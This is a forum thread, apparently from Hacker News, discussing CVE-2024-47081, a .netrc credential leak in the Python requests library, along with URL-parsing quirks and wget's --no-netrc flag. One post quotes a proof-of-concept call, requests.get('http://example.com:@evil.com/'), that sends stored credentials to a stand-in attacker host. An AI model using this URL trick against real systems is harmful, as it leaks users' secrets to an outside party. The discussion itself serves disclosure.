CVE-2024-47081: Netrc credential leak in PSF requests library
1–10 of 28 posts
Re: CVE-2024-47081: Netrc credential leak in PSF requests library
#2> The vulnerability was originally reported to the library maintainers on September 12, 2024, but no fix is available.
Re: CVE-2024-47081: Netrc credential leak in PSF requests library
#3Execute the call
>requests.get('http://example.com:@evil.com/')
>Assuming .netrc credentials are configured for example.com, they are leaked to evil.com by the call
Instead of having a url parse error it appears to drop the : and use the password:domain format.
Re: CVE-2024-47081: Netrc credential leak in PSF requests library
#4[flagged]
Re: CVE-2024-47081: Netrc credential leak in PSF requests library
#5[flagged]
Sounds like a misunderstanding, I’m not reading anything idiotic here — just misinformed.
Re: CVE-2024-47081: Netrc credential leak in PSF requests library
#6[flagged]
man wget:
--no-netrc
Do not try to obtain credentials from .netrc file. By default .netrc file is searched for credentials in
case none have been passed on command line and authentication is required.Re: CVE-2024-47081: Netrc credential leak in PSF requests library
#7Another good example of lax URL parsing/parser differentials being problematic.
That being said, I wonder how big the actual impact here is in practice: how many users actually use .netrc? I’ve been using curl and other network tools for well over a decade and I don’t think I’ve ever used .netrc for site credentials.
Re: CVE-2024-47081: Netrc credential leak in PSF requests library
#8That's some horrible url parsing code...
But honestly urllib sucks:
url.hostname doesn't return the port url.netloc also returns the basic auth part So you have to f"{u.hostname}:{u.port}"
Re: CVE-2024-47081: Netrc credential leak in PSF requests library
#9> The vulnerability was originally reported to the library maintainers on September 12, 2024, but no fix is available.
[deleted]
Re: CVE-2024-47081: Netrc credential leak in PSF requests library
#10[flagged]
[deleted]